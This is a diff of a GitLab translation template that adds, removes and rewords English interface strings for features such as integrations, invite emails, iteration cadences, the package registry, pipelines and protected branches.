@@ -17472,6 +17151,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17511,6 +17193,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17526,9 +17211,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17541,12 +17223,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17566,6 +17242,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17608,9 +17287,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17650,12 +17326,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17680,9 +17368,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17833,6 +17518,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -17908,25 +17596,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -17935,13 +17605,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -17962,7 +17629,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -17971,9 +17638,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -17998,6 +17662,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18409,18 +18076,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18430,6 +18115,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18442,6 +18130,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18460,9 +18154,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18562,9 +18262,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18613,6 +18319,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18703,9 +18412,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18733,18 +18439,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18856,9 +18550,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19018,9 +18709,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19250,9 +18938,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19460,6 +19145,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19674,6 +19362,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -19908,6 +19599,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -19926,9 +19626,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20148,9 +19845,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20220,6 +19914,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20241,6 +19938,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20253,6 +19953,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20313,9 +20016,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21091,9 +20791,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21233,9 +20930,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21494,9 +21188,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21669,9 +21360,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21720,7 +21408,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21777,13 +21465,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -21979,9 +21667,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22000,7 +21685,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22309,9 +21994,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22498,9 +22180,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22631,9 +22310,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23268,10 +22944,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23349,6 +23025,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23379,6 +23058,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23403,9 +23088,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23457,6 +23139,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23466,15 +23151,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23520,6 +23205,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23550,6 +23241,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23742,9 +23439,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -23949,10 +23643,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -23964,9 +23658,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -23976,16 +23667,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24105,10 +23802,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24126,12 +23823,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24243,9 +23946,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24396,13 +24096,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24447,10 +24147,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24462,6 +24162,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25074,6 +24780,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25359,9 +25068,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25389,6 +25095,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25401,9 +25110,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25452,15 +25158,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25509,9 +25209,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26127,9 +25824,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26145,9 +25839,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26232,21 +25923,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26262,18 +25950,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26289,9 +25968,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26304,6 +25980,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26319,7 +25998,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26328,6 +26007,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26337,9 +26019,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26358,9 +26037,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26484,13 +26160,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26511,12 +26190,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26526,6 +26214,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26535,12 +26226,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26586,18 +26280,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27001,6 +26707,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27028,6 +26737,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27206,6 +26918,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27221,15 +26936,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
